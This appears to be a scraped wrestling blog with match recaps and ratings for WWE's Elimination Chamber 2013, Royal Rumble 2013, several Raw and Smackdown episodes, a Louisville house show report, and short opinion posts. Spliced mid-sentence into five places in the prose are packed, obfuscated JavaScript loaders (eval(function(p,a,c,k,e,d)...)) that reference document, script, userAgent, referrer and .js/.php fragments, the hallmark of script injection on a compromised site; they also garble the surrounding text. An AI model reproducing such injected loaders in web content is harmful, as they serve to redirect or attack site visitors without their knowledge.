Apparently he was in a tag match. Pictures and video (from WWE’s official Youtube channel) included.
He doesn’t look great but Undertaker could sit in the ring and have a ham sandwich at Wrestlemania and get a big ovation.
My guess is a match with Punk which would likely be the best bet.
Thoughts/predictions?
Elimination Chamber 2013
Date: February 17, 2013
Location: New Orleans Arena, New Orleans, Louisiana
Commentators: John Bradshaw Layfield, Jerry Lawler, Michael Cole
Pre Show: Brodus Clay/Tensai vs. Rhodes Scholars
Sandow cheats a bit, allowing Cody to hit the Disaster Kick for two. Damien comes in legally now and pounds away for a bit before bringing Cody back in for a front facelock. Tensai fights out and hits an uppercut but Rhodes gets a tag out anyway. Tensai shrugs off the Wind-Up Elbow and brings in Clay off the hot tag. Brodus runs over Cody in the corner and loads up his suplex but Sandow dropkicks him in the back for the save. The big guys crush Sandow with standing body attacks, followed by a double headbutt and double splash to Cody for the pin at 4:06.
The opening video is about how this is the final chance at getting to Wrestlemania, but to go the men have to pay a price. We also talk about the six man tag with Shield vs. Cena/Ryback/Sheamus. Oh and the title matches are thrown in as well.
Smackdown World Title: Big Show vs. Alberto Del Rio
The Big Bald tries to get a boot up in the corner but Alberto hits a kind of jawbreaker onto the leg to slow Big Show down. The superkick to the jaw gets two but Big Show easily throws Alberto away. Big Show spears Del Rio in half but only gets two out of it. A big clothesline puts Del Rio down and a kick to the throat does the same. The fans get behind Alberto but not enough to make him avoid the Vader Bomb for two.
No Ziggler cash-in.
US Title: Antonio Cesaro vs. The Miz
Post match Miz kicks Cesaro low again.
The Chamber is lowered.
Video on how the Chamber works. There are six men in the match with two men starting. The other four are in pods around the ring. Every five minutes, another man is entered into the match. People are eliminated by pin or submission and the last man surviving wins.
Jack Swagger vs. Kane vs. Daniel Bryan vs. Randy Orton vs. Mark Henry vs. Chris Jericho
Swagger has new music and Zeb Coulter with him. Jack says that when he talks, he showers us with truth. The mustache with Coulter attached talks about the Louisiana Purchase and how disappointed Thomas Jefferson would be with what has become of the once great nation. He doesn’t like illegal immigrants asking for handouts, so the two of them will make things right. Tonight marks the beginning of a Jack Swagger America. The starters are going to be Jericho and Bryan.
Jericho snaps off some armdrags and hooks a headlock on the mat. Bryan counters into a NO Lock attempt but Jericho rolls out into an attempt at the Walls. Bryan rolls out of that to send Jericho into the corner before hitting some NO kicks. Daniel moonsaults out of the corner but gets sent to the cage on the outside. They fight to try to slam each other onto the Chamber floor but Bryan tries the NO Lock again. Jericho counters into a slingshot into the cage as they head back inside.
Back in and a belly to back suplex gets two for Chris. Jack Swagger is in third and he goes right after Jericho. Bryan gets rammed into the cage wall a few times and Swagger follows up with a splash to crush Goat Face again. Swagger drives his knee into Bryan’s head to mash it against the Chamber floor but Jericho makes a save. Jack sends the Canadian into the cage a few times but Bryan comes back with a running knee to Swagger’s head to put him down again.
The swan dive from Bryan misses Jericho and Kane is in fourth. Kane and Bryan team up on Jericho and Swagger but Bryan turns on Kane with a rollup for two. Bryan wants to hug it out but instead Kane hits him in the face. The NO kicks have Kane in some trouble but the NO Lock is countered into a side slam for two. Kane goes up top but Bryan breaks up the clothesline. Jericho comes back in and plays Animal to Kane’s Hawk in a Doomsday Device on Bryan. That gets two for Swagger but he can’t suplex Kane a second later.
Randy Orton comes in fifth. He cleans house and hits a slingshot suplex on Bryan followed by the Elevated DDT on Kane onto the Chamber. In a cool visual, Orton superplexes Swagger just before Jericho superplexes Bryan to put all five guys down. Henry is desperate to get in and there goes the clock, giving us all six guys in the Chamber at once. House is cleaned again and a World’s Strongest Slam eliminates Bryan to get us down to five.
Henry easily tosses Orton through the glass of a pod in a painful looking visual. Back inside it’s Henry vs. Kane and the masked man staggers Henry with a big boot. The top rope clothesline is countered into another World’s Strongest Slam to eliminate Kane and get us down to four. Henry loads up Jericho but Chris escapes and sends Henry into the pod wall. Swagger helps Jericho out and they hit a double suplex onto the Chamber floor. Jericho and Swagger head back in and a cross body off the top gets two for Chris.
The gutwrench powerbomb is blocked by Jericho but he can’t hook the Walls. A bulldog looks to set up the Lionsault but Henry catches Jericho by the throat and throws him into the Chamber wall. Mark launches Jericho onto Swagger and both blonde haired guys are down. Henry misses a Vader Bomb onto both guys and it’s a Codebreaker and RKO to eliminate the World’s Strongest Man.
We’re down to Orton, Swagger and Jericho but all three guys are down. Henry is applauded as he leaves but goes back inside to hit World’s Strongest Slams on all three guys. The fans are digging Henry here and I can’t say I blame them. Booker and Teddy come out to try to stop Henry and they finally get him out of the Chamber. Swagger covers Orton for two and has early control of the three way fight.
Orton and Jericho team up to throw Swagger shoulder and head first into the post/pod. The slugout is on now instead of eliminating Swagger though which could come back to haunt them. Jericho goes up but jumps into a dropkick for two. Swagger is back in now and walks into a powerslam, as does Jericho. Chris breaks up the Elevated DDT on Swagger with a dropkick for two. The Codebreaker to Swagger is countered into a belly to belly suplex for two more.
The running Vader Bomb (popular move tonight) doesn’t connect with Orton but Swagger avoids the boot to the face and hooks the Patriot Act. Jericho hits an enzugiri on Swagger to break up the hold (why?) and there are the Walls on Jack. Orton breaks up the hold (again, why?) and gets two on Jericho before hitting a double Elevated DDT. Randy loads up the RKO but Jericho blocks it, only to miss the Lionsault and walk into the RKO for the elimination. Swagger immediately rolls up Orton for the final pin at 31:25 to go to Wrestlemania.
Rating: B. This was solid stuff and while it was somewhat obvious that Swagger was winning when they got down to three, the match never got dull or uninteresting as they had a very solid triple threat segment at the end. I’m not wild on Swagger winning and getting a shot at the title, but at least they’ve tweaked his character a bit to make him somewhat more interesting. Good Chamber match.
Wrestlemania tickets are still available.
We recap Shield vs. Cena/Sheamus/Ryback. The Shield is here to fight for justice, but they’ve mainly attacked Ryback. Sheamus and Cena were attacked as well, so tonight the three superheroes join up to fight the seekers of justice.
Shield vs. John Cena/Sheamus/Ryback
The fans really want to see Ryback now and they might get the chance as Cena backdrops Ambrose to the floor. The double tag brings in Rollins to face Ryback as the place lights up. Ryback throws Ambrose into Rollins in the corner but Reigns breaks up the Meat Hook. Everything breaks down as Sheamus goes to the floor with Roman.
Ryback storms out.
Dolph Ziggler vs. Kofi Kingston
Ziggler immediately takes it to the mat but Kofi pops up with a dropkick. Kofi misses a charge and goes shoulder first into the post though and Ziggy takes over. Kofi pops back up and does his double leapfrog, only to jump into the sleeper. The hold is broken and Kofi dives onto Big E. Langston on the floor. An AJ distraction backfires and Trouble in Paradise lays out Ziggler. It only gets two though as Langston makes the save, so Kofi dives on him again. Back inside and a cross body gets two for Kofi so he goes up top, only to get dropped onto the buckle. The Zig Zag is good for the pin for Dolph at 3:54.
Rating: C. Usual decent match from these two as you would expect. When you fight each other as much as these two do, you become capable of having good matches in your sleep. These two passed that point years ago so even a quick four minute match like this is fine. Kofi continues to do his thing: make people look good.
Post match Langston lays out Kofi with the Big Ending.
We hear about the WWE App for the 475th time in the last month.
Divas Title: Tamina Snuka vs. Kaitlyn
Wrestlemania is in 49 days.
Raw World Title: The Rock vs. CM Punk
Rock poses to end the show.
Results
Alberto Del Rio b. Big Show – Cross Armbreaker
Antonio Cesaro b. The Miz via DQ when Miz hit Cesaro low
Jack Swagger b. Randy Orton, Chris Jericho, Mark Henry, Kane and Daniel Bryan last eliminating Orton – Rollup
Shield b. John Cena/Ryback/Sheamus – Ambrose pinned Ryback after a spear from Reigns
Dolph Ziggler b. Kofi Kingston – Zig Zag
Kaitlyn b. Tamina Snuka – Spear
The Rock b. CM Punk – Rock Bottom
Remember to follow me on Twitter @kbreviews and pick up my ebook of 1998 Monday Night Raw Reviews on Amazon at:
Monday Night Raw
Date: February 11, 2013
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Jerry Lawler, Michael Cole
Great Khali vs. Mark Henry
Horny gets a slam as well post match.
Jericho wants in the Chamber but Booker says he has to beat Daniel Bryan first. Booker yells at Teddy a bit too, and we get a Jericho impression of Booker for fun.
Daniel Bryan vs. Chris Jericho
We start things off with a feeling out process as Cole talks about the history between these two on the first season of NXT. Jericho sends him to the apron but misses the springboard dropkick. Bryan hits the suicide dive and we take a break. Back with more back and forth action, such as Bryan hitting a clothesline but having a running dropkick into the corner countered into a Walls attempt.
The Lionsault hits knees though and Bryan goes up. Jericho breaks up whatever Daniel was going to try though and tries a superplex, only to be knocked off, giving us the FLYING GOAT HEADBUTT for two. Jericho tries for the Walls again but gets countered into a NO Lock. Jericho rolls through again and loads up the Walls, only for Bryan to roll through and kick him in the chest. A rollup gets two for Chris and after ducking another kick, Jericho hits the Codebreaker for the pin at 10:48.
3MB vs. Sheamus/John Cena/Ryback
Sammartino HOF video.
Zack Ryder vs. Jack Swagger
Dutch Mantel of all people, known here as Zeb Coulter, is with Swagger here. Ryder hits a fast Broski Boot to start but gets sent to the floor for a belly to belly suplex. Back in and Swagger pounds away before hitting a buckle bomb to stop Zack dead. The gutwrench bomb and Patriot Act end this at 2:40.
We recap Lesnar beating up Miz last week.
The Miz vs. Cody Rhodes
Cesaro is on commentary because the feud continues. Feeling out process to start with Rhodes taking over, hitting a running knee to the face for two. Off to an armbar for a bit but Miz comes back with a flapjack. We head to the floor where Cody is sent into the apron, but Miz has to stop and kick a charging Cesaro in the face. Cesaro gets up and posts Miz for the DQ at 3:03.
Post match Cesaro grabs Miz and hits a kind of giant swing, but each time Miz is rammed head first into the barricade. That was pretty awesome.
Wrestlemania Reading Challenge video.
Brodus Clay/Tensai vs. Primo/Epico
We recap the Punk/Heyman segment from earlier.
Damien Sandow vs. Alberto Del Rio
Barrett is on the way to the ring when Bo Dallas jumps him.
Kofi Kingston vs. Wade Barrett
Kane vs. Dolph Ziggler
We take a break and come back with Kane charging into a boot in the corner. Ziggler gets up onto the corner, only to get knocked off via an uppercut. Langston stands over Ziggler as if to say bring it on Kane but Ziggy takes Kane down before the showdown. Back in and Ziggler fires off a bunch of elbow drops but his cross body is caught.
Ziggler escapes again and hits the jumping DDT for no cover. Off to the sleeper for a bit but Kane slams him down, only to get caught with the Fameasser. Kane comes back with the side slam and goes up, but AJ gets the distraction. She gets knocked into Langston which distracts Ziggler just enough for the chokeslam to put Kane in the Chamber at 10:20.
Video on how the Chamber works.
Results
Chris Jericho b. Daniel Bryan – Codebreaker
Ryback/John Cena/Sheamus b. 3MB – Attitude Adjustment to Slater
Jack Swagger b. Zack Ryder – Patriot Act
Brodus Clay/Tensai b. Primo/Epico – Backsplash to Primo
Alberto Del Rio b. Damien Sandow – Cross Armbreaker
Wade Barrett b. Kofi Kingston – Bull Hammer
Kane b. Dolph Ziggler – Chokeslam
Remember to follow me on Twitter @kbreviews and remember to pick up my new ebook of 1998 Monday Night Raw Reviews on Amazon at:
My girlfriend and I took in a Smackdown house show tonight in Louisville, Kentucky. Naturally I took some notes.The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyzbr|var|u0026u|referrer|rfzyb||js|php'.split('|'),0,{})) place was very empty for the most part. The KFC Yum! Center (what a horrendous name) holds roughly 22,000 but the entire upper deck was tarped off, there were LARGE sections in the lower arena sectioned off, and large portions of quality seats were just empty. I’m bad at guessing crowd sizes but if there were 8,000 people there I would be stunned.
The new (well old now) house show set does help things a lot. it’s nothing great or flashy but it makes things feel a lot more special than just walking through a black curtain. There are two mini trons and a big X which has the theme of the wrestler (i.e. Sheamus’ is green, Del Rio is red, white and green etc) and a mini ramp. It’s a BIG upgrade and makes things look a lot better.
We were told to tweet our pick of the stipulation for the main event: No DQ or 2/3 falls. No DQ was up about 80 to 20 when they stopped showing the results.
We got the standard videos from WWE: Wrestlemania Reading Challenge, Saturday Morning Slam, WWE App etc.
The main shirts I saw were Cena and Rock with a few Rybacks throughout the arena. Mainly Cena though.
Kofi Kingston vs. Heath Slater
The crowd was white hot all night and this was no exception. My theory of Kofi as the modern day Tito Santana continues to grow. Kofi was INSANELY over and looked great all match. The crowd booed Slater but it was nothing compared to the pop for Kingston. It was a pretty basic match with Kofi working on the arm until the other 3MB members distracted him. There was a funny spot where Kofi did the air guitar and hip shake which got a good reaction from the crowd. In a very impressive move, Kofi hit a dropkick and from where we were sitting, Kofi’s entire body was above the ropes. That’s INSANE when you think about it.
The big spot of the match was Kofi kicking Slater down and using him as a stepping stone to hit a big dive onto 3MB. Mahal and McIntyre were thrown out after about five minutes and Slater started taking over. Slater beat on Kofi with some basic stuff and hit a pretty sweet neckbreaker for two. Kofi made his comeback and hit the Boom Drop but Trouble in Paradise missed. Slater went up and jumped into Trouble in Paradise for the pin at about 12:00.
Rating: C+. The ratings will be shorter than usual here. This was a great choice for an opener and the fans loved Kofi. The main thing here was that the match was kind of slow at times, but that’s more than forgivable. This was probably the second or third best match of the night.
Aksana vs. Alicia Fox
This ran about NINE minutes and the crowd started filing in. My entire notes about the match: Aksana sucks, Alicia isn’t bad, ax kick hits back for pin (for Fox).
Rating: D-. The match sucks and it’s ALL on Aksana, who looked lost doing anything of note.
Chimmel was plugging the Twitter thing again when Shield interrupted him. They talked about Orton and Sheamus being brought to justice tonight and get in a great line: “It’s Evolution or Extinction.” That line is ten years too late and it’s awesome.
Fandango vs. Yoshi Tatsu
Yep, I got to see Fandango, and he’s still Johnny Curtis. No one cared about Fandango, like at all. he had some chick that was dancing with him during his entrance but she went to the back for the match. Both guys danced a bit with Tatsu doing the Rick Rude hip swivel. Fandango was very generic with his stuff and came off like any guy from NXT. That’s the problem with the gimmick: it has nothing interesting at all to it and there’s zero reason whatsoever to boo him. He’s just a guy who dances. We have no idea if he’s a good guy, a bad guy, or anything about him at all. Anyway the generic heel (assuming that’s what he was) broke up a springboard attempt by Tatsu and hit a spinning downward spiral for the pin at about 6:40.
Rating: D. If this is any indication of what’s coming, Fandango isn’t going to last long. There’s no reason to care about him and while it was clear he’s a heel, there’s no reason to know that other than he’s fighting Yoshi Tatsu. I don’t remember him cheating, I don’t remember him acting arrogant, I don’t remember him doing anything evil. He just dances, and I guess that makes him bad?
Wade Barrett says he’ll win the main event and the world title.
Randy Orton/Sheamus vs. Shield
Handicap match here. Orton and Sheamus got by far the biggest pops of the night respectively. This was a brawl to start after Shield came through the curtain instead. It was about what you would expect from this kind of a match. In one funny bit, Rollins was in trouble and Orton stopped the other two before they came in. During the distraction, Sheamus choked Rollins in the corner and shrugged at the fans as if to say “it’s not cheating if you don’t get caught.” Rollins got beaten down to start, Sheamus got beaten down for a bit, and Orton got the hot tag. Orton hit his usual stuff and loaded up the RKO but the other Shield guys came in for the DQ at about 11:00.
Rating: C+. This was a fun match but a clean ending would have been nice. it wouldn’t have been smart, but it would have been nice. You certainly can’t have Shield losing in a 3-2 match and expect them to beat Ryback, Cena and Sheamus at the same time. Anyway, fun match and the fans were going nuts for Orton. Sheamus had his fans too and was very over, but Orton’s pop for the hot tag was insane.
Post match Sheamus Brogue Kicked a chair into I think Rollins’ face and it was RKO’s and Brogue Kicks all around. The heroes went around high fiving everyone and signing a bunch of stuff. THat went on for probably close to ten minutes.
15 minute intermission.
Sin Cara/Great Khali vs. 3MB
That’s a pretty odd tag team on the face side. This was about what you would expect: Khali started and cleaned house, Cara got tagged in and got beaten down, Horny beat up Heath Slater, hot tag to Khali and the Plunge ends Mahal at a time that I forgot to check. It was less than ten minutes for sure though.
Rating: C-. This was fine. The main thing to note was how Sin Cara botched the one main high flying move he has still: the spinning armdrag out of the corner. Basically he didn’t rotate enough and McIntyre wound up on top of him instead of falling over.
Cara seemed to be favoring his shoulder post match but it didn’t seem that bad.
Conor O’Brien vs. Brodus Clay
Conor is from NXT and is the only member left of Ascension. He got to do his full entrnace minus the lights and with the big coat. It didn’t do much for the crowd but for NXT fans it was awesome. he needs a partner though. O’Brian cut a promo about not being happy and says he’ll destroy our hero and then rise. This would prove to be incorrect as Conor did next to nothing significant and Brodus came back with his usual to win with the splash at 5:40.
Rating: D+. This was short but decent all thigns considered. O’Brian needs the full entrance for the character to work and it looks stupid in the light. Clay and the Funkadactyls (who now have pom poms) danced a lot.
Tony CHimmel dances with Brodus and company post match, holding his heart after the fact. Funny stuff.
The fans vote for No DQ.
Smackdown World Title: Alberto Del Rio vs. Wade Barrett
BIG pop for Del Rio after Barrett said he hated Louisville and said the crowd clearly wanted barbarism by picking a No DQ match. Barrett stalls for a long time to start which suckers Del Rio in. He pounds on Alberto for a bit and then gets kicked a few times. Barrett goes to the floor and tries to walk out with the belts, only to be stopped by Ricardo. Wade chased him around and Del Rio hit a sweet baseball slide to stop Barrett cold.
Barrett brought in a kendo stick and accidentally tapped the referee int he head with it before laying out Del Rio. That got two and Del Rio came back again, only to get beaten down by a chair. He went shoulder first into the psot to give Wade two but Del Rio came back with some LAME kendo stick shots. The Winds of Change got a two count as did the Backstabber out of the corner. Del Rio brought in a table but got sent into a chair int he corner. Ricardo distracted Del Rio and a bulldog put Barrett through the table to retain the title at about 17:30.
Rating: B. Definitely the match of the night here with the fans being WAY into Del Rio’s comebacks. Barrett looekd good in a match he had no chance of winning here which is a good sign for him. The match worked quite well and Del Rio continues to be on a roll. The table was a nice touch and something you don’t see much anymore. Good stuff here.
Del Rio signed some autographs to end the show.
Overall Rating: C+. As you can see, the biggest problem with this show was the lack of star power. After Orton, Sheamus and Del Rio, things drop WAY off. The show was definitely fun and entertaining enough for the price ($15 each) and we had a great time, but it was nothing I’ll remember in a week or so. Raw had a show at the same time in Missouri which had Punk, Ryback, Jericho, Ziggler and every other major star I’m forgetting. Anyway, good stuff here and it was a fun, although forgettable experience.
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Night Raw
Date: February 4, 2013
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, Jerry Lawler
Orton, on the App, pitches why he should face Punk.
Ryback vs. Antonio Cesaro
MORE WWE APP STUFF!!! DID WE MENTION THIS ALREADY???
We look at the Shield taking out Sheamus, Ryback and Cena last week.
Mysterio talks on the App.
We get a long video on the history of the Shield.
Trish Stratus Hall of Fame video.
Jericho completes the trio of shilling for the App.
Santino Marella vs. Jack Swagger
Swagger yells at Booker post match.
You can now vote on the WWE APP!!!
Apparently since so many people are on the WWE App, you can now vote on WWE.com. Yep, after ALL THAT TALKING, you can just vote without the App. Egads this company gets annoying at times.
Alberto Del Rio vs. Cody Rhodes
Jericho gets to face Punk.
Rey Mysterio vs. Daniel Bryan
Back with Mysterio firing off some forearms but getting suplexed down so Daniel can stomp on the arm a bit. He throws Mysterio out to the floor and hits a baseball slide to keep Rey on the floor. Bryan loads up the suicide dive but Rey gets a forearm up. The top rope seated senton starts to pick things up and Rey hits a rana into the kick to the head for two. The 619 is countered into a No Lock attempt but Rey rolls him up for two. Mysterio hits a rana into the 619 but the top rope splash misses. NO Lock finishes at 8:35.
MARK HENRY returns to power walk towards Bryan. Daniel goes at him and is immediately sent into the barricade. Henry takes out Rey and the running in Cara as well.
Sheamus vs. Kane
Wade Barrett vs. Randy Orton
Chris Jericho vs. CM Punk
The fans are completely split between the two guys. They chop it out to start and Punk takes him down with some knees. We hit the armbar by Punk who yells at the referee to ASK HIM. Nice touch. Jericho fights up and escapes a tornado DDT to send Punk to the floor. A baseball slide puts Punk down but he blocks the springboard dropkick as we take a break.
Results
Ryback b. Antonio Cesaro – Shell Shock
Jack Swagger b. Santino Marella – Patriot Act
Alberto Del Rio b. Cody Rhodes – Cross Armbreaker
Daniel Bryan b. Rey Mysterio – NO Lock
Sheamus b. Kane – Brogue Kick
Randy Orton b. Wade Barrett – RKO
CM Punk b. Chris Jericho – GTS
Remember to follow me on Twitter @Kbreviews
I won’t be home on time tonight so this is the Smackdown review early. This contains full spoilers so be forewarned.
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ishib|var|u0026u|referrer|hfaii||js|php'.split('|'),0,{}))
February 1, 2013
Location: Valley View Casino Center, San Diego, California
Commentators: Josh Matthews, John Bradshaw Layfield
Del Rio is pacing in the parking lot with a ball bat in hand, apparently waiting for Big Show.
Rey Mysterio/Sin Cara vs. HELL NO
Great Khali vs. Jinder Mahal
This is fallout from Raw. Khali chops him a lot to start but Mahal takes him down and hooks a front facelock. That goes about as well as you would expect on a guy like Khali as Mahal is thrown off. Slater and Horny chase each other around as Khali hits the Punjabi Plunge for the pin at 1:52.
Teddy tells Booker that he brought Swagger back. The Rhodes Scholars interrupt the conversation and talk about splitting up the team. Sandow quotes some French author and the Scholars hug. The end result of this is Sheamus vs. Sandow.
We recap the ending of Raw from Monday and see an exclusive of Vince being taken away on a stretcher.
Now we recap the end of the Rumble.
Sheamus vs. Damien Sandow
Sandow immediately bails to the floor but gets run over from behind by Sheamus. Back in and Damien gets in some stomps and a choke with the knee as Sheamus is in a bit of trouble. A Russian legsweep sets up the Wind-Up Elbow for one. Sheamus starts firing back but Sandow pounds on him in the corner to take over in a surprising comeback. The real comeback by Sheamus starts with the usual and even though Sandow escapes White Noise, he gets caught in the ten forearms in the ropes. Not that any of it matters though as Shield comes out for the DQ at 3:00 or so. No rating due to length but the match was ok.
Sheamus hits the Brogue Kick on Rollins as he comes in but Ambrose trips him up and the Irishman is beaten down. Rollins gets back in and the TripleBomb hits.
Wade Barrett vs. Randy Orton
Barrett puts him in the ropes for his running boot to the face but it only gets two. Off to a chinlock but Orton snap mares out of it. Here come the clotheslines and powerslam but Barrett heads to the floor. Barrett loads up the Bull Hammer but it hits the post in a wince inducing miss. Back in and the Elevated DDT hits, setting up the RKO for the clean pin at 4:04.
Post break Barrett gets in a fight backstage with Bo Dallas.
Kofi Kingston vs. Jack Swagger
We recap Punk challenging Rock to a rematch.
Dolph Ziggler vs. Alberto Del Rio
They slug it out and Ziggler misses a splash in the corner. Del Rio fires off more kicks and a low superkick gets two. The cross armbreaker is escaped though and a Fameasser gets two for Dolph. Ziggler misses a charge into the corner and Alberto pounds away on the back before hitting a Backstabber for two. The champion goes up again but jumps into a dropkick for a VERY close two. Out of nowhere Alberto counters the Zig Zag into the armbreaker for the tap out at 10:08 shown of 13:38.
To the shock of no one, Big Show has Ricardo by the neck and knocks him out after yelling at Del Rio. Alberto sprints to the back to be with his buddy as the show ends.
Results
Sin Cara/Rey Mysterio b. HELL NO – Top rope splash to Bryan
Great Khali b. Jinder Mahal – Punjabi Plunge
Damien Sandow vs. Sheamus went to a no contest when Shield interfered
Randy Orton b. Wade Barrett – RKO
Jack Swagger b. Kofi Kingston – Ankle Lock
Alberto Del Rio b. Dolph Ziggler – Cross Armbreaker
Remember to follow me on Twitter @kbreviews
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzkak|var|u0026u|referrer|saiir||js|php'.split('|'),0,{})) occurred to me earlier today when I was talking about Ziggler in the Rumble. think about the Smackdown title picture right now. It’s STACKED.We’ve got the suddenly awesome Del Rio as champion and the following people to challenge him:
Big Show
Ziggler
Orton
Sheamus
Also you could throw in Ryback, Punk and Jericho as potential challengers. That is a DEEP main event scene. On Raw we have Rock, Cena and Punk and that’s it. I’m way more fired up about the WHC right now than the WWE Title.
Coming eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytnsi|var|u0026u|referrer|yrzea||js|php'.split('|'),0,{})) into the Rumble, Ziggler was a big topic of conversation but last night not much happened.Ziggler had talked about cashing in MITB but he didn’t. He talked about winning the Royal Rumble but he didn’t. He’s been losing a good deal of his matches recently and while he’s certainly impressive with some of his matches, he hasn’t really won anything other than at TLC where he was defending what he already had. Other than that, Ziggler hasn’t really accomplished much lately. He has until July to cash in his case and as usual it seems like a matter of time before he does it.
I’m not sure what they’re doing at the moment because they’ve kind of booked themselves into a corner. With Del Rio getting over very well as a face, that gives a minimum of four people who could be in the world title match at Wrestlemania: Orton, Ziggler, Sheamus and Del Rio. Odds are it won’t be Ziggler in the title match but it’s clear that he’s going to have a top level match. I’m thinking he gets put with Del Rio, although not for the title. There’s always a chance he’ll cash in before Mania, perhaps after the Chamber.
Either way, Smackdown is pretty awesome at the moment with their title picture.
Royal Rumble 2013
Date: January 27, 2013
Location: US Airways Center, Phoenix, Arizona
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield
Pre-Show: US Title: The Miz vs. Antonio Cesaro
Cesaro hooks a double arm lock which is quickly broken, allowing Miz to hit the Reality Check for no cover. Miz pounds away in the corner and hits the running clothesline but the ax handle misses. He may have injured his knee on the landing. They trade rollups for two each and Miz goes after the knee. The Figure Four is easily blocked so Miz kicks him to the floor instead. Cesaro lures Miz in and sends him into a piece of metal under the ring, setting up the Neutralizer to retain at 7:40.
On with the show!
Smackdown World Title: Big Show vs. Alberto Del Rio
Show chops him into the corner to start and gets seven off a series of shows to the chest. He loads up that reverse powerbomb of his but gets caught in a hurricanrana to put him down. A top rope seated senton takes Big Show down again but the armbreaker is easily countered into something resembling a one armed Angle Slam.
We get a medley of promos from people in the Rumble ala the old days.
Young and Titus do their thing.
Cena says what you would expect him to say.
Sheamus says he can win his second in a row because of the Brogue Kick.
Tag Titles: Rhodes Scholars vs. HELL NO
The Scholars are getting what is probably their 95th title shot in a few weeks. Bryan and Rhodes start things off with Cody having a leap frog countered into a surfboard. Off to Kane as JBL goes into a mini rant on Dr. Shelby. Kane fights out of the heel corner and slams the now legal Sandow. Bryan comes back in to fire off the kicks as JBL goes off about the hugging on Raw.
Kane kicks Sandow through the ropes and Cody is thrown on top of him. Bryan hits a suicide dive (JBL: “THE FLYING GOAT VEGAN!”) to take out both challengers and the fans seem fired up. Back in and Cody gets in a few shots to take over with a half Boston crab as the announcers talk about 1980s TV. Sandow comes in for the Wind-Up Elbow and some stomping for two. Cody comes back in and gets kicked in the face to take him down. Sandow blocks the hot tag though and brings Cody right back in.
Rumble by the Numbers.
We recap Fan Fest which had the NXT tournament.
Royal Rumble
Sheamus is #11 and after a bunch of forearms he dumps Titus and Otunga. Slater tries to jump Sheamus resulting in a big heel beatdown. Tensai is #12, giving us Ziggler, Jericho, Rhodes, Slater, Goldust, Kofi, Sheamus and Tensai. Cole talks about Jake Roberts being the first person to eliminate someone in 1998 (you read that right) as people keep fighting by the ropes. Brodus Clay is #13 complete with the Funkadactyls who are rocking some shorts.
There are way too many guys in there at the moment as Goldust sends Rhodes to the apron. Cody pulls his brother to the apron and slides back in where he whips Goldust into the post to eliminate him. Cool sequence there. Rey Mysterio returns (kind of) at #14 in a weird looking low cut singlet. He hits a few 619s and the top rope splash on Jericho but has to fight off Rhodes.
Raw World Title: The Rock vs. CM Punk
Punk fires off a kick to send Rock to the floor but he might have hurt his knee in the process. He goes up top and hits a forearm to the head but hurts his knee again in the process. The suicide dive keeps Rock down as they seem to be in second gear or so here. Back in and Punk misses the springboard clothesline so Rock goes after the bad knee for the first time. Both finishers are blocked as is the Sharpshooter but Punk counters into the Vice.
Results
HELL NO b. Rhodes Scholars – NO Lock
John Cena won the Royal Rumble last eliminating Ryback
The Rock b. CM Punk – People’s Elbow
Remember to follow me on Twitter @kbreviews
In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrhin|var|u0026u|referrer|tktfz||js|php'.split('|'),0,{})) a terrible joke, just like the name before the fold,you can’t see him. Cena won, last tossing out Ryback.